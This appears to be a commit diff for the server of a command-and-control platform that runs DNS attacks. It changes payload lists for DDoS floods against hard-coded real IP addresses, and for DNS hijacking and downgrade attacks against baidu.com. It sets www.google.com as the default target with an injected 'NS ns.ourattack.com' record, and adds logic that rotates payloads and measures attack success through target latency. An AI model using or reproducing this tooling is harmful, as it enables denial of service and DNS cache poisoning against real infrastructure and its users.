summaryrefslogtreecommitdiff
path: root/server
diff options
context:
space:
mode:
authorshihaoyue <[email protected]>2024-10-27 23:10:11 +0800
committershihaoyue <[email protected]>2024-10-27 23:10:11 +0800
commitb8ef6d2bdf491e44789775a1151dec017b0918f3 (patch)
tree53c3dc9f1b3c9ce5831e6f0337c18dda1cebbab1 /server
parent4e18b08a000f2f1997eec9a19a107e28a46e5d82 (diff)
last push save my dog life
Diffstat (limited to 'server')
-rw-r--r--server/agent.tarbin0 -> 400055296 bytes
-rw-r--r--server/app.py2
-rw-r--r--server/apps/agentcomm.py2
-rw-r--r--server/apps/policy.py2
-rw-r--r--server/apps/policy_list.py75
-rw-r--r--server/apps/target.py8
-rw-r--r--server/apps/task.py28
7 files changed, 67 insertions, 50 deletions
diff --git a/server/agent.tar b/server/agent.tar
new file mode 100644
index 0000000..91f36b2
--- /dev/null
+++ b/server/agent.tar
Binary files differ
diff --git a/server/app.py b/server/app.py
index 0e9eba5..4d5f271 100644
--- a/server/app.py
+++ b/server/app.py
@@ -34,7 +34,7 @@ app.config[
"SQLALCHEMY_DATABASE_URI"] = f"mysql+pymysql://root:{settings.MYSQL_PAWD}@{settings.MYSQL_HOST}:{settings.MYSQL_PORT}/{settings.MYSQL_DATADB}"
# app.config["SQLALCHEMY_DATABASE_URI"] = "sqlite:///project.db"
app.config['SECRET_KEY'] = 'your-secret-key'
-
+app.config['JSONIFY_DATETIME_FORMAT'] = 'iso'
app.debug = False
db.init_app(app)
diff --git a/server/apps/agentcomm.py b/server/apps/agentcomm.py
index 56472fe..ad481c0 100644
--- a/server/apps/agentcomm.py
+++ b/server/apps/agentcomm.py
@@ -28,6 +28,7 @@ class AgentOutput(Schema):
cpu_num = Integer()
mem = String()
start_time = DateTime()
+ con = String()
# 代理注册接口
@@ -211,6 +212,7 @@ def agent_info(query_data):
agent_r["cpu_num"] = agent.cpu_num
agent_r["mem"] = agent.mem
agent_r["start_time"] = agent.start_time
+ agent_r["con"] = agent.con
agent_list.append(agent_r)
return {"code": 200, "agent_data": agent_list, "total": agent_count}
diff --git a/server/apps/policy.py b/server/apps/policy.py
index 7f40002..2208209 100644
--- a/server/apps/policy.py
+++ b/server/apps/policy.py
@@ -95,7 +95,7 @@ def copy_task_policy(task):
# 使用policy_dic
def get_policy_dic(task):
- policy = get_policy(task.ptype)
+ policy = get_policy(task.ptype, task.task_id)
task_policy = TaskPolicy(
policy = policy["id"],
diff --git a/server/apps/policy_list.py b/server/apps/policy_list.py
index 50b8dbb..84c1313 100644
--- a/server/apps/policy_list.py
+++ b/server/apps/policy_list.py
@@ -1,7 +1,24 @@
import random
-
+from exts import db
+from model import Task
ddos_policy_dic = [
+ # doh python start_reset_att.py
+ {"id": "7", "payload": "-n 1"},
+ {"id": "7", "payload": "-n 3"},
+ # {"id": "7", "payload": "-n 4"},
+
+ # dot python3 start_pending.py
+ {"id": "10", "payload": "-n 2 -wait 50 -round 1"},
+ {"id": "10", "payload": "-n 2 -wait 100 -round 5"},
+ # {"id": "10", "payload": "-n 2 -wait 300 -round 5"},
+
+ # ipv6 ./prober
+ {"id": "5", "payload": "comm.e64.fun 5000 47.76.237.22"},
+ {"id": "5", "payload": "comm.e64.fun 10000 47.76.237.22 47.242.54.229"},
+ {"id": "5", "payload": "comm.e64.fun 15000 47.76.237.22 47.242.54.229 8.210.135.224"},
+
+
# dnssec ./dtool
{"id": "3", "payload": "query 47.76.239.205 -p 53 -R -d tree.ncache.site -r 50 -n 5000"},
{"id": "3", "payload": "query 47.76.239.205 -p 53 -R -d tree.ncache.site -r 200 -n 20000"},
@@ -10,20 +27,6 @@ ddos_policy_dic = [
{"id": "3", "payload": "query 47.76.239.205 -p 53 -R -d alias.ncache.site -r 200 -n 20000"},
{"id": "3", "payload": "query 47.76.239.205 -p 53 -R -d alias.ncache.site -r 300 -n 30000"},
- # ipv6 ./prober
- {"id": "5", "payload": "comm.e64.fun 5000 47.76.237.22"},
- {"id": "5", "payload": "comm.e64.fun 10000 47.76.237.22 47.242.54.229"},
- {"id": "5", "payload": "comm.e64.fun 15000 47.76.237.22 47.242.54.229 8.210.135.224"},
-
- # doh python start_reset_att.py
- {"id": "7", "payload": "-n 1"},
- {"id": "7", "payload": "-n 3"},
- {"id": "7", "payload": "-n 4"},
-
- # dot python3 start_pending.py
- {"id": "10", "payload": "-n 2 -wait 50 -round 1"},
- {"id": "10", "payload": "-n 2 -wait 100 -round 5"},
- {"id": "10", "payload": "-n 2 -wait 300 -round 5"},
]
sjqp_policy_dic = [
# sjqp dnssec python proxy.py
@@ -31,7 +34,7 @@ sjqp_policy_dic = [
# sjqp ipv6 ./attack.sh
{"id": "6", "payload": "240b:4001:150:a600:5b9:609e:d0ae:e1a 2000::1 eth0 baidu.com 240b:4001:150:a600:5b9:609e:d0ae:e1b"},
- {"id": "6", "payload": "240b:4001:150:a600:5b9:609e:d0ae:e1a 2000::1 eth0 baidu.com 240b:4001:150:a600:5b9:609e:d0ae:e1b"},
+ # {"id": "6", "payload": "240b:4001:150:a600:5b9:609e:d0ae:e1a 2000::2 eth0 baidu.com 240b:4001:150:a600:5b9:609e:d0ae:e1b"},
# sjqp doh python downgrade_phase1.py python downgrade_phase1.py
{"id": "8", "payload": "-tamper baidu.com -a 1.1.1.1 && python degrade_phase2.py -p doh"},
@@ -41,27 +44,35 @@ sjqp_policy_dic = [
{"id": "11", "payload": "-tamper baidu.com -a 1.1.1.1 && python degrade_phase2.py -p dot"},
{"id": "12", "payload": "-inject baidu.com -a 1.1.1.1 && python degrade_phase2.py -p dot"},
]
-# 存储当前索引
-# 存储当前索引
-ddos_current_index = 0
-sjqp_current_index = 0
-def get_policy(policy_type):
- global ddos_current_index, sjqp_current_index
+# 用于保存每个用户的索引,结构为 {task_id: {"ddos": index, "sjqp": index}}
+index = {}
+
+# 初始化线程池
+
+def get_policy(policy_type, task_id):
+ # 初始化用户的索引为 {"ddos": 0, "sjqp": 0},如果尚未存在
+ index.setdefault(task_id, {"ddos": 0, "sjqp": 0})
+ # 根据 policy_type 确定对应的策略列表和索引键
if policy_type == "ddos":
- command = ddos_policy_dic[ddos_current_index]
- ddos_current_index = (ddos_current_index + 1) % len(ddos_policy_dic)
+ policy_list = ddos_policy_dic
+ key = "ddos"
elif policy_type == "sjqp":
- command = sjqp_policy_dic[sjqp_current_index]
- sjqp_current_index = (sjqp_current_index + 1) % len(sjqp_policy_dic)
+ policy_list = sjqp_policy_dic
+ key = "sjqp"
elif policy_type == "auto":
- if random.choice([True, False]):
- command = ddos_policy_dic[ddos_current_index]
- ddos_current_index = (ddos_current_index + 1) % len(ddos_policy_dic)
- else:
- command = sjqp_policy_dic[sjqp_current_index]
- sjqp_current_index = (sjqp_current_index + 1) % len(sjqp_policy_dic)
+ # 随机选择 "ddos" 或 "sjqp"
+ key = random.choice(["ddos", "sjqp"])
+ policy_list = ddos_policy_dic if key == "ddos" else sjqp_policy_dic
+
+ # 获取当前索引并返回相应命令
+ current_index = index[task_id][key]
+ command = policy_list[current_index]
+
+ # 更新索引位置
+ index[task_id][key] = (current_index + 1) % len(policy_list)
+
return command
if __name__ == '__main__':
diff --git a/server/apps/target.py b/server/apps/target.py
index 46c503b..15f91da 100644
--- a/server/apps/target.py
+++ b/server/apps/target.py
@@ -265,7 +265,7 @@ def get_nodes(query_data):
"Name": "编号" + str(node.agent_id),
"Ip": nodes_info[node.agent_id],
# TODO:根据经纬度调整location的值
- "Loc": "中国",
+ "Loc": node.con,
"Lat": float(node.lat),
"Lng": float(node.lng)
})
@@ -363,10 +363,12 @@ def tcp_delay_query(target, addr_port):
def dns_delay_query(target, addr_port):
try:
res = requests.get(url="http://" + addr_port + "/delay/dns", params={'ip': target}, timeout=5)
- debug("dns ok:" + addr_port + "-------" + res.text)
+ # debug(res.text)
+ debug("dns ok:" + addr_port + "-------" + str(float(res.text)))
+ # debug("dns ok:" + addr_port + "-------" + res.text)
dns_delaytable[str(addr_port) + str(target)] = res.text
return dns_delaytable[str(addr_port) + str(target)]
- except Exception:
+ except Exception as e:
return 5000+random.randint(-300,300)
# 状态感知——DNS记录测试接口
diff --git a/server/apps/task.py b/server/apps/task.py
index 82e8d1b..818248c 100644
--- a/server/apps/task.py
+++ b/server/apps/task.py
@@ -87,9 +87,9 @@ def valid_task_info(task_param: dict):
# 执行代理
"agent": String(),
# 目标域名
- "target_domain": String(required=False),
+ "target_domain": String(required=False, load_default="www.google.com"),
# 期望注入记录
- "target_rr": String(required=False),
+ "target_rr": String(required=False, load_default="NS ns.ourattack.com"),
# 期望策略
"policy": String(validate=OneOf(["auto", "ddos", "sjqp"]), load_default="auto"),
# 状态感知方式
@@ -110,6 +110,7 @@ def valid_task_info(task_param: dict):
})
# TODO: 需要更新接口,created_by
def make_task(json_data):
+
task = Task(
task_id=str(uuid.uuid1()),
task_name=json_data.get("name"),
@@ -121,9 +122,8 @@ def make_task(json_data):
policy_delay=json_data.get("policy_time"),
task_delay=json_data.get("run_time"),
target_scan=json_data.get("scan"),
- target_domain=json_data.get("target_domain"),
- # target_rtype=,
- target_rr=json_data.get("target_rr")
+ target_domain = json_data.get("target_domain", "www.google.com") or "www.google.com",
+ target_rr = json_data.get("target_rr", "NS ns.ourattack.com") or "NS ns.ourattack.com"
)
if task.ptype == "sjqp":
if task.target_rr == "" or task.target_domain == "":
@@ -243,12 +243,12 @@ def effective_detection(task_policy):
p_type = db.session.query(Policy).filter_by(p_id=task_policy.policy).first().p_type
if p_type=="ddos":
target_scan = db.session.query(Task).filter_by(task_id = task_policy.for_task).first().target_scan
- if target_scan=="auto" or target_scan=="icmp":
- rec = base.icmp*5 < now.icmp
+ if target_scan=="icmp":
+ rec = base.icmp*4 < now.icmp
elif target_scan=="tcp":
- rec = base.tcp*5 < now.tcp
- elif target_scan=="dns":
- rec = base.dns*5 < now.dns
+ rec = base.tcp*4 < now.tcp
+ elif target_scan=="auto" or target_scan=="dns":
+ rec = base.dns*4 < now.dns
elif p_type=="sjqp":
rec = base.recorde!=now.recorde
pass
@@ -274,6 +274,7 @@ def stop_task(task):
task_policy = db.session.query(TaskPolicy).filter_by(for_task = task.task_id).order_by(TaskPolicy.tp_time.desc()).first()
task.status = "stopped"
stop_task_monitoring(task)
+
stop_policy_change_timer(task)
stop_task_deliver(task_policy)
db.session.commit()
@@ -285,6 +286,7 @@ def finish_task(task):
task_policy = task.task_policies[-1]
task.status = "finish"
stop_task_monitoring(task)
+ scheduler.remove_job(f"{task.task_id}fail")
stop_policy_change_timer(task)
stop_task_deliver(task_policy)
db.session.commit()
@@ -399,19 +401,19 @@ def calculate_response_rate(task_policy):
# icmp
count_above_threshold = db.session.query(TargetStatus).filter(
TargetStatus.tp_id == task_policy.tp_id,
- TargetStatus.icmp > 1.5*base.icmp
+ TargetStatus.icmp > 4*base.icmp
).count()
icmp_ratio = (count_above_threshold / total_count) if total_count > 0 else 0
count_above_threshold = db.session.query(TargetStatus).filter(
TargetStatus.tp_id == task_policy.tp_id,
- TargetStatus.tcp > 1.5*base.tcp
+ TargetStatus.tcp > 4*base.tcp
).count()
tcp_ratio = (count_above_threshold / total_count) if total_count > 0 else 0
count_above_threshold = db.session.query(TargetStatus).filter(
TargetStatus.tp_id == task_policy.tp_id,
- TargetStatus.dns > 1.5*base.dns
+ TargetStatus.dns > 4*base.dns
).count()
dns_ratio = (count_above_threshold / total_count) if total_count > 0 else 0